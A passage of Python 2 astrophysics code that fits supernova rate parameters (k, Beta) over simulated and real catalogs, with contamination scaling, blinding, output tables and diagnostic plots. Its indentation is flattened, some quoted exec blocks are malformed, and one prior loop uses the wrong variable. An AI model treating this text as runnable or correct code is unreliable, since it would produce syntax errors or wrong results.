CCScale, CCScaleErr = getCCScale(RateTest.postCutSimCat, RateTest.postCutRealCat, MURESWindow = (ScaleMuResCutLow, ScaleMuResCutHigh), zbins = scaleZBins, Beta = RateTest.Beta, binList = RateTest.binListFit, fracCCData = RateTest.fracCCData, outfilePrefix = dataname, Rate_Model = Rate_Model, f_Js =RateTest.fJList, simInd = simInd, debug = debug, ztype = RateTest.ztype)
print CCScale
CCScaleStorage.append(CCScale)
CCScaleErrStorage.append(CCScaleErr)
else:
CCScaleStorage.append(0.0)
CCScaleErrStorage.append(1.0)
else:
CCScaleStorage.append(1.0)
CCScaleErrStorage.append(1.0)
ks.append(RateTest.k)
kErrs.append(RateTest.kErr)
if Blind:
print "Blinding c"
Betas.append(RateTest.Beta+ np.cos(cosVal))
else:
Betas.append(RateTest.Beta)
BetaErrs.append(RateTest.BetaErr)
if Rate_Model == 'brokenpowerlawVar':
zBreaks.append(Rate_Fitter.zBreak)
zBreakErrs.append(Rate_Fitter.zBreakErr)
Chi2s.append(RateTest.chi2)
print "CCScale Storage Iter {0}".format(simInd)
print CCScaleStorage
if not noCCMC:
print CCScale
print CCScale[0]
dnamestr = datadir.format(simInd)
cutdnamestr = dnamestr.split('.')[0] + '+CUTS.FITRES.gz'
#if saveCuts:
# np.savetxt(cutdnamestr, RateTest.realcat.Catalog, delimiter = ' ', fmt='%s')
lowzCut = zminFit
highzCut = zmaxFit
SampleSizes.append( RateTest.realcat.Catalog[(RateTest.realcat.Catalog[RateTest.ztype] < zmaxFit) & (RateTest.realcat.Catalog[RateTest.ztype] > zminFit)].shape[0])
if saveCuts:
np.savetxt(cutdnamestr, RateTest.realcat.Catalog[(RateTest.realcat.Catalog[RateTest.ztype] < zmaxFit) & (RateTest.realcat.Catalog[RateTest.ztype] > zminFit)], delimiter = ' ', fmt='%s')
#with open(cutdnamestr, 'rb') as f_in:
# with gzip.open(cutdnamestr + '.gz', 'wb') as f_out:
# shutil.copyfileobj(f_in, f_out)
except Exception, e:
print "FAILURE"
print e
traceback.print_exc()
nFail +=1
else:
try:
RateTest = Rate_Fitter(datadir.format(simInd), dataname.format(simInd), simdir, simname,simgenfile, trueMCBeta, trueMCK, zminSamp =zminSamp, zmaxSamp =zmaxSamp, zminFit =zminFit, zmaxFit =zmaxFit, cheatZ = cheatZ, cheatType = cheatType, cuts = cuts, cheatCCSub = cheatCCSub, cheatCCScale = cheatCCScale, Rate_Model = Rate_Model, MURESCuts = MURESCuts, noCCMC = noCCMC, priorRate = priorRate, priorZEff = priorZEff, ratePriorErrUp = ratePriorErrUp, ratePriorErrDown =ratePriorErrDown, ratePriorErrAll = ratePriorErrAll)# , MJDMin = 0, MJDMax = np.inf)
if ZSysFlag:
RateTest.zSystematic(nbins = nbins, binList = binList)
simLoaded = True
RateTest.effCalc(nbinsSamp = nbinsSamp,nbinsFit = nbinsFit, fracContamCut = fcc)
#RateTest.effCalc(nbins = 20)
BetaIter = []
BetaErrIter = []
CCIter = []
CCErrIter = []
if redoScaleZBinFlag:
RealCat = RateTest.postCutRealCat
RealOutlierCat = RealCat[(RealCat['MURES'] > muresBinsHigh)| (RealCat['MURES'] < muresBinsLow)]
zArray =RealOutlierCat[RateTest.ztype]
zArray.sort()
print 'zArray'
print zArray
print 'nScaleZBins'
print nScaleZBins
splitZs = np.array_split(zArray, nScaleZBins)
#[(0[0], (0[-1] + 1[0]), (1[-1] + 2[0]), 2[1]]
scaleZBins = [splitZs[0][0]]
for i in range(1,nScaleZBins):
scaleZBins.append((splitZs[i-1][-1] + splitZs[i][0] )/2.0)
scaleZBins.append(splitZs[i][-1])
RateTest.fit_rate(fixK = fixK, fixBeta = fixBeta, simInd =simInd, trueBeta = trueBeta - trueMCBeta, CCScale = 1.0, TrueCCScale = TrueCCScale, scaleZBins = scaleZBins, Blind = Blind)
if Rate_Model != 'discrete':
if Blind:
print "Blinding d"
BetaIter.append(RateTest.Beta+ np.cos(cosVal))
else:
BetaIter.append(RateTest.Beta)
BetaErrIter.append(RateTest.BetaErr)
for iteration in range(nIter):
print "interation Number"
print iteration
if not fixCCScale:
if not noCCMC:
CCScale, CCScaleErr = getCCScale(RateTest.postCutSimCat, RateTest.postCutRealCat, MURESWindow = (ScaleMuResCutLow, ScaleMuResCutHigh), zbins = scaleZBins, Beta = RateTest.Beta, binList = RateTest.binListFit, fracCCData = RateTest.fracCCData, outfilePrefix = dataname, Rate_Model = Rate_Model, f_Js =RateTest.fJList, simInd = simInd, debug = debug, ztype = RateTest.ztype)
CCIter.append(CCScale)
CCErrIter.append(CCScaleErr)
RateTest.fit_rate(fixK = fixK, fixBeta = fixBeta, trueBeta = trueBeta - trueMCBeta, CCScale = CCScale, CCScaleErr = CCScaleErr, TrueCCScale = TrueCCScale, BetaInit = RateTest.Beta, kInit = RateTest.k, BetaErr = RateTest.BetaErr, kErr = RateTest.kErr, CCZbins = scaleZBins, scaleZBins = scaleZBins, Blind = Blind)
else:
CCIter.append(0.0)
CCErrIter.append(1.0)
RateTest.fit_rate(fixK = fixK, fixBeta = fixBeta, trueBeta = trueBeta - trueMCBeta, CCScale = 0.0, CCScaleErr = 1.0, TrueCCScale = 0.0, BetaInit = RateTest.Beta, kInit = RateTest.k, BetaErr = RateTest.BetaErr, kErr = RateTest.kErr, CCZbins = scaleZBins, scaleZBins = scaleZBins, Blind = Blind)
else:
CCIter.append(1.0)
CCErrIter.append(1.0)
RateTest.fit_rate(fixK = fixK, fixBeta = fixBeta, trueBeta = trueBeta - trueMCBeta, CCScale = 1.0, CCScaleErr = 1.0, TrueCCScale = 0.0, BetaInit = RateTest.Beta, kInit = RateTest.k, BetaErr = RateTest.BetaErr, kErr = RateTest.kErr, CCZbins = scaleZBins, scaleZBins = scaleZBins, Blind = Blind)
if Rate_Model != 'discrete':
if Blind:
print "Blinding e"
BetaIter.append(RateTest.Beta+ np.cos(cosVal))
else:
BetaIter.append(RateTest.Beta)
BetaErrIter.append(RateTest.BetaErr)
if not fixCCScale:
if not noCCMC:
CCScale, CCScaleErr = getCCScale(RateTest.postCutSimCat, RateTest.postCutRealCat, MURESWindow = (ScaleMuResCutLow, ScaleMuResCutHigh), zbins = scaleZBins, Beta = RateTest.Beta, binList = RateTest.binListFit, fracCCData = RateTest.fracCCData, outfilePrefix = dataname, Rate_Model = Rate_Model, f_Js =RateTest.fJList, simInd = simInd, debug = debug, ztype = RateTest.ztype)
CCIter.append(CCScale)
CCErrIter.append(CCScaleErr)
if Rate_Model != 'discrete':
print "Beta Progression"
print BetaIter
print "Beta Err Progressions"
print BetaErrIter
print "Mean Betas"
print np.nanmean(BetaIter)
else:
f_JStorage.append(RateTest.fJList)
f_JErrStorage.append(RateTest.fJErrList)
print "CCScale Progression"
print CCIter
print "CCScale Err Progression"
print CCErrIter
print "Mean CCScales"
print np.nanmean(CCIter)
if not fixCCScale:
if not noCCMC:
print "AAA CC Scales"
CCScale, CCScaleErr = getCCScale(RateTest.postCutSimCat, RateTest.postCutRealCat, MURESWindow = (ScaleMuResCutLow, ScaleMuResCutHigh), zbins = scaleZBins, Beta = RateTest.Beta, binList = RateTest.binListFit, fracCCData = RateTest.fracCCData, outfilePrefix = dataname, f_Js =RateTest.fJList, Rate_Model = Rate_Model, simInd = simInd, debug = debug, ztype = RateTest.ztype)
print 'CC Scale'
print CCScale
CCScaleStorage.append(CCScale)
CCScaleErrStorage.append(CCScaleErr)
else:
CCScaleStorage.append(0.0)
CCScaleErrStorage.append(1.0)
else:
CCScaleStorage.append(1.0)
CCScaleErrStorage.append(1.0)
dnamestr = datadir.format(simInd)
cutdnamestr = dnamestr.split('.')[0] + '+CUTS.FITRES.gz'
np.savetxt(cutdnamestr, RateTest.realcat.Catalog, delimiter = ' ', fmt='%s')
#with open(cutdnamestr, 'rb') as f_in:
# with gzip.open(cutdnamestr + '.gz', 'wb') as f_out:
# shutil.copyfileobj(f_in, f_out)
cutsnamestr = simname.split('.')[0] + '+CUTS.FITRES.gz'
np.savetxt(cutsnamestr, RateTest.realcat.Catalog[(RateTest.realcat.Catalog[RateTest.ztype] < zmaxFit) & (RateTest.realcat.Catalog[RateTest.ztype] > zminFit)], delimiter = ' ', fmt = '%s')
lowzCut = zminFit
highzCut = zmaxFit
SampleSizes.append( RateTest.realcat.Catalog[(RateTest.realcat.Catalog[RateTest.ztype] < zmaxFit) & (RateTest.realcat.Catalog[RateTest.ztype] > zminFit)].shape[0])
#with open(cutsnamestr, 'rb') as f_in:
# with gzip.open(cutsnamestr + '.gz', 'wb') as f_out:
# shutil.copyfileobj(f_in, f_out)
ks.append(RateTest.k)
kErrs.append(RateTest.kErr)
if Rate_Model != 'discrete':
if Blind:
print "Blinding f"
Betas.append(RateTest.Beta+ np.cos(cosVal))
else:
Betas.append(RateTest.Beta)
BetaErrs.append(RateTest.BetaErr)
if Rate_Model == 'brokenpowerlawVar':
zBreaks.append(Rate_Fitter.zBreak)
zBreakErrs.append(Rate_Fitter.zBreakErr)
Chi2s.append(RateTest.chi2)
print "CCScale Storage Iter {0}".format(simInd)
print CCScaleStorage
if not noCCMC:
print CCScale
print CCScale[0]
if Rate_Model != 'discrete':
if np.isnan(RateTest.Beta):
nFail +=1
except Exception, e:
print "FAILURE"
print e
traceback.print_exc()
nFail +=1
#if Blind:
# Betas = np.array(Betas) + np.cos(47392945716038.134971247)
print "Number of Failures"
print nFail
if Rate_Model != 'discrete':
badSims = np.invert(np.isfinite(Betas) & (BetaErrs > 0) & np.isfinite(ks) & (kErrs > 0))
mBetas = ma.masked_array(Betas, mask=badSims)
mBetaErrs = ma.masked_array(BetaErrs, mask=badSims)
mks = ma.masked_array(ks, mask=badSims)
mkErrs = ma.masked_array(kErrs, mask=badSims)
print "mean k"
print np.nanmean(ks)
print "mean kerrs"
print np.nanmean(kErrs)
print "std. k"
print np.nanstd(ks)
print "Mean beta"
print np.nanmean(Betas)
print "Mean betaerrs"
print np.nanmean(BetaErrs)
print "std. beta"
print np.nanstd(Betas)
if len(Betas) == 1:
kmean.append(ks[0])
ksigma.append(0.0)
kErr.append(kErrs[0])
BetaMean.append(Betas[0])
BetaSigma.append(0.0)
BetaErr.append(BetaErrs[0])
else:
print "test here"
print ks
print mks
print Betas
print mBetas
print 'end test here'
kmean.append(np.average(mks, weights = 1.0/mkErrs**2))
ksigma.append(np.std(mks))
kErr.append(np.mean(mkErrs))
BetaMean.append(np.average(mBetas, weights = 1.0/mBetaErrs**2))
#BetaWeightMean.append(np.average(Betas, weights = 1.0/ma.masked_invalid(BetaErrs)**2))
#KWeightMean.append(np.average(ks, weights = 1.0/ma.masked_invalid(kErrs)**2))
BetaSigma.append(np.std(mBetas))
BetaErr.append(np.mean(mBetaErrs))
else:
print "mean f_Js"
print np.nanmean(f_JStorage, axis =0)
print "mean f_JErrs"
print np.nanmean(f_JErrStorage, axis =0)
if Rate_Model == 'brokenpowerlawVar':
zBreakMeans.append(np.nanmean(zBreaks))
zBreakSigmas.append(np.nanstd(zBreaks))
Chi2Mean.append(np.nanmean(Chi2s))
Chi2Sigma.append(np.nanstd(Chi2s))
#if simInd == 1:
print "Indiv Chi2s"
print Chi2s
bins0 = np.linspace(1.0, 20.0, 10)
hist, bins = np.histogram(Chi2s, bins = bins0)
xs = (bins[1:] + bins[:-1])/2.0
plt.bar(xs, hist, width = bins[1:] - bins[:-1])
print "Chi2 Hist"
print bins
print hist
chi2s = scipy.stats.chi2.pdf(xs, nbinsFit - 2)
norm = np.max(hist)*1.0/np.max(chi2s)
plt.plot(xs, chi2s*norm, color = 'g')
if cheatType and not cheatZ:
plt.savefig(dataname +'Chi2Plot_CheatType.png')
elif cheatZ and not cheatType:
plt.savefig(dataname +'Chi2Plot_CheatZ.png')
elif cheatZ and cheatType:
plt.savefig(dataname +'Chi2Plot_CheatTypeZ.png')
else:
plt.savefig(dataname +'Chi2Plot.png')
if not noCCMC:
print "AAA CC Scale means (weighted, unweighted)"
#print np.average(ma.masked_invalid(np.array(CCScaleStorage)),weights = 1.0/ma.masked_invalid(CCScaleErrStorage)**2, axis = 0)
#print np.nanmean(ma.masked_invalid(np.array(CCScaleStorage)), axis = 0)
#print CCScaleStorage
#print CCScaleErrStorage
print np.average(np.array(CCScaleStorage),weights = 1.0/ma.masked_invalid(CCScaleErrStorage)**2, axis = 0)
print np.nanmean(np.array(CCScaleStorage), axis = 0)
print "AAA CC Scale stds"
print np.nanstd(np.array(CCScaleStorage), axis = 0)
CCScaleStorageGlobal.append(CCScaleStorage)
print "All Betas"
print Betas
if cheatType:
print "THESE RESULTS ONLY INCLUDE TRUE Ias BECAUSE WE CHEATED AND USED THE SIM INFORMATION"
if cheatZ:
print "THESE RESULTS Use Simulated Redshift info"
'''
print "lengths of lists"
print len(RateTest.globalNDataStorage)
print len(RateTest.globalChi2Storage)
print len(RateTest.globalZPhotBinStorage)
print len(RateTest.globalNDataIaPhotBinStorage)
plt.clf()
plt.scatter(RateTest.globalNDataStorage, RateTest.globalChi2Storage)
plt.xlabel('nData')
plt.ylabel('chi2 in bin')
string = ''
if cheatType: string += 'CheatType'
if cheatZ: string += 'CheatZ'
print 'string here'
print string
plt.savefig(RateTest.realName + 'Chi2VsnData' + string +'.png')
plt.clf()
plt.scatter(RateTest.globalZPhotBinStorage, RateTest.globalChi2Storage)
plt.xlabel('zPhot bin center')
plt.ylabel('chi2 in bin')
plt.savefig(RateTest.realName + 'Chi2VsZPhot' + string +'.png')
plt.clf()
plt.clf()
plt.scatter(RateTest.globalZPhotBinStorage, RateTest.globalNDataIaPhotBinStorage, s = 1, c = 'r', label = 'Type Ia Data, zPhot')
plt.scatter(RateTest.globalZPhotBinStorage, RateTest.globalNDataCCPhotBinStorage, s = 1, c = 'b', label = 'CC Data, zPhot')
plt.scatter(RateTest.globalZTrueBinStorage, RateTest.globalNDataIaTrueBinStorage, s = 1, c = 'Pink', label = 'Type Ia Data, zTrue')
plt.scatter(RateTest.globalZTrueBinStorage, RateTest.globalNDataCCTrueBinStorage, s = 1, c = 'Cyan', label = 'CC Data, zTrue')
plt.yscale('log')
plt.xlabel('redshift either true or phot')
plt.legend()
plt.savefig(RateTest.realName + 'AggregateZDistro' + string +'.png')
'''
#print "MURES CUTS"
#print MURES_Cuts
print "Frac Contam Cuts"
print fracContamCuts
if Rate_Model != 'discrete':
print "Kmeans"
print kmean
print "Ksigmas"
print ksigma
print "BetaMeans"
print BetaMean
print "BetaSigmas"
print BetaSigma
print "BetaErrs"
print BetaErr
else:
print "f_J mean unweighted"
print np.mean(f_JStorage, axis = 0)
print "f_J mean weighted"
print np.average(f_JStorage, weights = 1.0/(np.array(f_JErrStorage))**2, axis = 0)
print "f_J Errors"
print np.mean(f_JErrStorage, axis = 0)
if Rate_Model == 'brokenpowerlawVar':
print "mean powerlaw break z"
print zBreakMeans
print "st. dev powerlaw break z"
print zBreakSigmas
print "Chi2Means"
print Chi2Mean
print "Chi2Sigma"
print Chi2Sigma
assert(fracContamCuts[0] == -1)
outfile = dataname
if Rate_Model != 'discrete':
print "outfile Pre Prefix"
print outfile
if cheatType:
outfile = outfile + '_CheatType'
if cheatZ:
outfile = outfile + 'Z'
elif cheatZ:
outfile = outfile + '_CheatZ'
outfile1 = outfile + '.txt'
outfile2 = outfile + '-IndivBetaK.txt'
output2 = open(outfile2, 'w')
output2.write('i Beta_i k_i BetaErr_i kErr_i\n')
for i, b, k, berr, kerr in zip(range(len(Betas)),Betas, ks, BetaErrs, kErrs):
output2.write('{0} {1:.4f} {2:.4f} {3:.4f} {4:.4f}\n'.format(i, b, k, berr, kerr))
output2.close()
print "Outfile Name"
if not(os.path.isfile(outfile1)):
output = open(outfile1, 'w')
output.write('#Date Date/time at which job finished\n')
output.write('#DataBeta Input beta for the simulated data sample. Will be 0.0 for real data.\n')
output.write('#N_sims Number of datalike sims that go into the subsequent means\n')
output.write('#SampleSize Mean Number of Events in data post cut\n')
output.write('#delta_Beta mean difference between large MC sim beta (2.11 for the time being) and the measured beta for the data (not the beta in column 2.\n')
output.write('#sigma_Beta stdev of delta_Beta over N_sims sims\n')
output.write('#BetaStdErr std. error in the mean of delta_Beta over N_sims sims\n')
output.write('#Beta_err mean statistical error on beta\n')
output.write('#K mean ratio between large MC sim K (1.7E-5 for the time being) and the measured K for the data \n')
output.write('#sigma_K stdev of K over N_sims sims\n')
output.write('#KStdErr std. error in the mean of K over N_sims sims\n')
output.write('#KStaterr mean statistical error on K\n')
output.write('#meanZ mean photoZ of the large MC sim\n')
output.write('#sigmaZ std. deviation of the photoZs for the large Sim\n')
output.write('#sigmaDZ std. deviation of (zSim - zPHOT)\n')
output.write('#NCC/NTotScaled overall CC Contamination after adjusting CC Frac to data\n')
output.write('#NCC/NTot overall CC Contamination in sim only\n')
output.write('#CCScales relative sim vs. CC rate in z-bins \n')
output.write('#TypeChoice Internal Diagnostic, check code comments\n')
output.write('#NNProbCut Threshold for NN probability of Ia\n')
output.write('#NBins Number of Analysis Bins\n')
output.write('#MRSLow Threshold for Neg Mures Outliers\n')
output.write('#MRSHigh Threshold for Pos Mures Outliers\n')
output.write('#FitprobCut Lowest Fitprob in sim\n')
output.write('#MRSCut NSigma Hubble residual cut\n')
output.write('#Chi2 minimum value of Chi2 function\n')
output.write('#Correlation cov[0,1]/np.sqrt(cov[0,0]*cov[1,1])\n')
output.write('#Date \t\tDataBeta N_sims SampleSize delta_Beta sigma_Beta BetaStdErr BetaStatErr K sigma_K KStdErr KStatErr meanZ sigmaZ sigmaDz NCC/NTotScaled NCC/NTot CCScales TypeChoice NNProbCut NBins MRSLow MRSHigh FitprobCut MRSCut Chi2 Correlation\n')
else:
output = open(outfile1, 'a')
print 'outfile'
print outfile
cat = RateTest.simcat.Catalog
t = time.strftime('%b-%d-%H:%M')
N_Sims = np.sum(np.invert(np.isnan(ks)))
SigBeta = float(BetaSigma[0])
SigK = float(ksigma[0])
kStdErr = float(ksigma[0])/np.sqrt(N_Sims)
BetaStdErr = float(BetaSigma[0])/np.sqrt(N_Sims)
meanZ = np.nanmean(cat[RateTest.ztype])
sigZ = np.nanstd(cat[RateTest.ztype])
sigDZ = np.nanstd(cat[RateTest.ztype] - cat['SIM_ZCMB'])
lowzCut = zminFit
highzCut = zmaxFit
contam2 = np.sum(cat[(cat[RateTest.ztype] > lowzCut) & (cat[RateTest.ztype] < highzCut)]['SIM_TYPE_INDEX'] !=1).astype(float)/ float(cat[(cat[RateTest.ztype] > lowzCut) & (cat[RateTest.ztype] < highzCut)].shape[0])
contam = RateTest.fracCCDataTot
ccscales = np.average(np.array(CCScaleStorage),weights = 1.0/ma.masked_invalid(CCScaleErrStorage)**2, axis = 0)
cov = RateTest.covar
correlation = cov[0, 1] / np.sqrt(cov[0, 0] * cov[1, 1])
print "Outfile debug"
print t
print trueBeta
print N_Sims
print BetaMean[0]
print BetaStdErr
print BetaErrs[0]
print meanZ
print sigZ
print sigDZ
print contam
print RateTest.typeString
print RateTest.postCutSimCat['NN_PROB_IA'].min()
print SigBeta
print kmean[0]
print kErrs[0]
print kStdErr
print SigK
print np.nanmean(SampleSizes)
print int(nbinsFit)
print ScaleMuResCutLow
print ScaleMuResCutHigh
print RateTest.postCutSimCat['FITPROB'].min()
print MURESCuts
print np.mean(Chi2Mean)
print contam2
print ccscales
print correlation
ccscales = ','.join(str(ccscales).split())
output.write('{0}\t\t{1:.2f}\t{2}\t{17:.3f}\t{3:.3f}\t{12:.3f}\t{4:.3f}\t{5:.3f}\t{13:.3f}\t{14:.3f}\t{15:.3f}\t{16:.3f}\t{6:.3f}\t{7:.3f}\t{8:.3f}\t{9:.3f}\t{24:.3f}\t{25}\t{10}\t{11:.3f}\t{18:d}\t{19:.3f}\t{20:.3f}\t{21:.3f}\t{22:.2f}\t{23:.3f}\t{26:.3f}\n'.format(t, trueBeta, N_Sims, BetaMean[0], BetaStdErr, BetaErrs[0],meanZ, sigZ, sigDZ, contam, RateTest.typeString, RateTest.postCutSimCat['NN_PROB_IA'].min(), SigBeta, kmean[0], kErrs[0], kStdErr, SigK, np.nanmean(SampleSizes), int(nbinsFit), ScaleMuResCutLow, ScaleMuResCutHigh, RateTest.postCutSimCat['FITPROB'].min(), MURESCuts, np.mean(Chi2Mean), contam2, ccscales, correlation) )
print "BetaMean[0]"
print BetaMean[0]
print BetaMean
print "KMean[0]"
print kmean[0]
print kmean
print "Correlation"
print correlation
#print "BetaWeightMean[0]"
#print BetaWeightMean[0]
#print BetaWeightMean
#print "KWeightMean[0]"
#print KWeightMean[0]
#print KWeightMean
if not noCCMC:
print "Individual Scales"
print CCScaleStorage
print "Individual ScaleErrs"
print CCScaleErrStorage
print "average ScaleErrs"
print np.nanmean(CCScaleErrStorage)
print "AAA CC Scale means (weighted, unweighted)2"
print np.average(ma.masked_invalid(np.array(CCScaleStorage)), weights = 1.0/ma.masked_invalid(CCScaleErrStorage)**2)
print np.nanmean(ma.masked_invalid(np.array(CCScaleStorage)))
print "AAA CC Scale stds"
print np.nanstd(np.array(CCScaleStorage))
if simInd == 1:
plt.clf()
hist, bins = np.histogram(CCScaleStorage, bins = np.linspace(0.0, 5.0, 10))
plt.step((bins[1:]+bins[:-1])/2.0, hist, where = 'mid', c = 'g')
plt.savefig(dataname + 'ScaleDistro.png')
plt.clf()
print "nIter"
print nIter
if not (priorRate is None):
kPriorPlots = np.linspace(0.8, 1.5, 300)
kPriors = []
for ktemp in kPriorPlots:
kPriors.append(ratePrior(ktemp*trueMCK, BetaMean[0]*trueMCBeta, priorRate, priorZEff, priorRateErrUp = ratePriorErrUp, priorRateErrDown = ratePriorErrDown, priorRateErrAll = ratePriorErrAll))
betaPriorPlots = np.linspace(-0.5, 0.5, 300)
betaPriors = []
for btemp in betaPriorPlots:
betaPriors.append(ratePrior(kmean[0]*trueMCK, b*trueMCBeta, priorRate, priorZEff, priorRateErrUp = ratePriorErrUp, priorRateErrDown = ratePriorErrDown, priorRateErrAll = ratePriorErrAll))
actualPrior = ratePrior(kmean[0]*trueMCK, BetaMean[0]*trueMCBeta, priorRate, priorZEff, priorRateErrUp = ratePriorErrUp, priorRateErrDown = ratePriorErrDown, priorRateErrAll = ratePriorErrAll)
kPriors = np.array(kPriors)
betaPriors = np.array(betaPriors)
plt.clf()
plt.figure()
plt.plot(kPriorPlots, np.log10(kPriors) )
plt.hlines(np.log10(actualPrior), kPriorPlots[0], kPriorPlots[-1], label = 'Best Fit Prior = {0:.03f}'.format(actualPrior))
plt.vlines(kmean[0], np.log10(kPriors).min(), np.log10(kPriors).max(), label = 'Best Fit K = {0:.03f}'.format(kmean[0]))
plt.xlabel('k')
plt.ylabel('ratePrior')
plt.legend()
plt.savefig(dataname + '_LogKPriorPlot.png')
plt.clf()
plt.figure()
plt.plot(kPriorPlots, kPriors)
plt.hlines(actualPrior, kPriorPlots[0], kPriorPlots[-1], label = 'Best Fit Prior = {0:.03f}'.format(actualPrior))
plt.vlines(kmean[0], kPriors.min(), kPriors.max(), label = 'Best Fit K = {0:.03f}'.format(kmean[0]))
plt.xlabel('k')
plt.ylabel('ratePrior')
plt.legend()
plt.savefig(dataname + '_KPriorPlot.png')
plt.clf()
plt.figure()
plt.plot(betaPriorPlots, betaPriors)
plt.hlines(actualPrior, betaPriorPlots[0], betaPriorPlots[-1], label = 'Best Fit Prior = {0:.03f}'.format(actualPrior))
plt.vlines(BetaMean[0], betaPriors.min(), betaPriors.max(), label = 'Best Fit Beta = {0:.03f}'.format(BetaMean[0]))
plt.xlabel('beta')
plt.ylabel('ratePrior')
plt.legend()
plt.savefig(dataname + '_BetaPriorPlot.png')
'''
argList = ''
minObjList = ''
chi2Initargs = ''
for i in xrange(zCenters.shape[0]):
argList += 'f{0},'.format(i)
minObjList += 'f{0} = 1.0, error_f{0} = 0.1, limit_f{0} = (0.0, None),'.format(i)
chi2Initargs += '1.0,'
argList = argList[:-1]
minObjList = minObjList[:-1]
chi2Initargs = chi2Initargs[:-1]
#print argList
#print minObjList
#print chi2Initargs
exec('''
'''
def chi2func(nData, nSim, effmat, fnorm, zCenters, {0}, dump = False, complexdump = False):
Chi2Temp = 0.0
f_Js = [{0}]
chi2Mat = np.zeros((self.nbins))
adjNMC = np.zeros((self.nbins))
#print f_Js
#Check if I am scaling errors down with increasing MC size. Make MC twice as large as "Data" to test.
for row, nDataI, i in zip(effmat, nData, xrange(self.nbins)):
#if dump:
# print "nDataI"
# print nDataI
JSumTemp = 0.0
for eff, nSimJ, f_J, j in zip(row, nSim, f_Js, xrange(self.nbins)):
JSumTemp += nSimJ*f_J*eff*fnorm
if dump and i == j:
print "nDataI"
print nDataI
print "Bin Contribution to scaled nSim"
print nSimJ*f_J*eff*fnorm
#print "Product of nSimJ, f_J, eff, fnorm"
#print nSimJ
#print f_J
#print eff
#print fnorm
if nDataI > 1E-11 or JSumTemp > 1E-11:
if dump and i == j:
print "nDataI"
print nDataI
print "scaled nSim"
print JSumTemp
print "fnorm"
print fnorm
print "error"
print nDataI + JSumTemp*fnorm
if (nDataI + JSumTemp*fnorm) <= 0:
print (nDataI + JSumTemp*fnorm)
assert(0)
Chi2Temp += ((nDataI - JSumTemp)**2/(nDataI + JSumTemp*fnorm))#*fnorm**2
return Chi2Temp
''''''.format(argList), locals())
fnorm = float(np.sum(nData))/float(self.simcat.Catalog['zPHOT'].shape[0])
#print type(chi2func)
#print 'lamChi2 = lambda {0}: chi2func(nData, nSim, self.effmat, fnorm, zCenters, {0})'.format(argList)
exec('lamChi2 = lambda {0}: chi2func(nData, nSim, self.effmat, fnorm, zCenters, {0})'.format(argList),locals())
exec('lamChi2Dump = lambda {0}: chi2func(nData, nSim, self.effmat, fnorm, zCenters, {0}, dump = True)'.format(argList),locals())
#print type(lamChi2)
#print type(lamChi2Dump)
#print 'MinObj = M(lamChi2, {0})'.format(minObjList)
exec('MinObj = M(lamChi2, {0})'.format(minObjList),locals())
exec('chi2Init = lamChi2Dump({0})'.format(chi2Initargs),locals())
#print "Chi2 init = {0}".format(round(chi2Init, 4))
MinObj.set_strategy(2)
MinObj.migrad()
#MinObj.minos()
zCenters = (simBins[1:] + simBins[:-1])/2.0
print MinObj.values
fJs = []
fJErrs = []
for v in MinObj.values.keys():
fJs.append(MinObj.values[v])
fJErrs.append(MinObj.errors[v])
exec('lamChi22 = lambda k, Beta: self.chi2V2(fJs, fJErrs, zCenters, k, Beta)',locals())
exec('MinObj2 = M(lamChi22, k = 1.0, error_k = 0.1, limit_k = (0.0, None), Beta = 0.0, error_Beta = 0.1)',locals())
#print "Large Perfect Sim {0}".format(simInd)
#print "Sim R0 = 1.7E-5; Sim Beta = 4.2"
##print "Sim Beta = 1.5; Data Beta = 1.5"
##RateTest = Rate_Fitter('DES_FULLSURVEY_TEST/JLDESFULLSURVEYIaOnly+zPHOT+smearC11/FITOPT000+SALT2mu.FITRES', 'JLDESFULLSURVEYIaOnly+zPHOT+smearC11','JLDES_R0_7E-5_Beta_1-5_Shallow/JLDES_R0_7E-5_Beta_1-5_Shallow/FITOPT000+SALT2mu.FITRES', 'JLDES_R0_7E-5_Beta_1-5_Shallow','/project/rkessler/SN/SNDATA_ROOT/SIM/JLDES_R0_7E-5_Beta_1-5_Shallow/JLDES_R0_7E-5_Beta_1-5_Shallow.DUMP')
#print '/project/rkessler/jlasker/Rate_Analysis/TestSameK2Beta/outFit_datasize/JLDES_R0_1-7E-5_Beta_4-2_Datasize_Perfect-00{0:02d}/FITOPT000.FITRES'.format(simInd)
#RateTest = Rate_Fitter('/project/rkessler/jlasker/Rate_Analysis/TestSameK2Beta/outFit_datasize/JLDES_R0_1-7E-5_Beta_4-2_Datasize_Perfect-00{0:02d}/FITOPT000.FITRES'.format(simInd), 'TestSameK2Beta/JLDES_R0_1-7E-5_Beta_4-2-00{0:02d}'.format(simInd),'/project/rkessler/jlasker/Rate_Analysis/outFit_datalike/JLDES_R0_1-7E-5_Beta_2-1_Datalike_PERFECT/FITOPT000.FITRES', 'JLDES_R0_1-7E-5_Beta_2-1_DataLikePhotZ','/scratch/midway2/rkessler/SNDATA_ROOT/SIM/JLDES_R0_1-7E-5_Beta_2-1_Datalike_PERFECT/JLDES_R0_1-7E-5_Beta_2-1_Datalike_PERFECT.DUMP', 2.1, zmin = 0.1, zmax = 1.3)# , MJDMin = 0, MJDMax = np.inf)
#RateTest.effCalc(nbins = 12)
##RateTest.effCalc(nbins = 20)
#RateTest.fit_rate()
#ksPerf.append(RateTest.k)
#kErrsPerf.append(RateTest.kErr)
#BetasPerf.append(RateTest.Beta)
#BetaErrsPerf.append(RateTest.BetaErr)
#print "Sim Beta = 1.5; Data Beta = 1.5"
#RateTest = Rate_Fitter('DES_FULLSURVEY_TEST/JLDESFULLSURVEYIaOnly+zPHOT+smearC11/FITOPT000+SALT2mu.FITRES', 'JLDESFULLSURVEYIaOnly+zPHOT+smearC11','JLDES_R0_7E-5_Beta_1-5_Shallow/JLDES_R0_7E-5_Beta_1-5_Shallow/FITOPT000+SALT2mu.FITRES', 'JLDES_R0_7E-5_Beta_1-5_Shallow','/project/rkessler/SN/SNDATA_ROOT/SIM/JLDES_R0_7E-5_Beta_1-5_Shallow/JLDES_R0_7E-5_Beta_1-5_Shallow.DUMP')
try:
optfname = argv[1]
opts = open(optfname, 'r')
optlist = opts.readlines()
zmin = None; zmax = None; MJDMin = None; MJDMax = None; bins = None; runFit = None
for opt in optlist:
try:
optName, optVal = opt.split()
except:
print "{0} not formatted correctly".format(opt)
continue
if (optName.lower() == 'zmin') & (not zmin): zmin = optVal
if (optName.lower() == 'zmax') & (not zmax): zmax = optVal
if (optName.lower() == 'mjdmin') & (not MJDMin): MJDMin = optVal
if (optName.lower() == 'mjdmax') & (not MJDMax): MJDMax = optVal
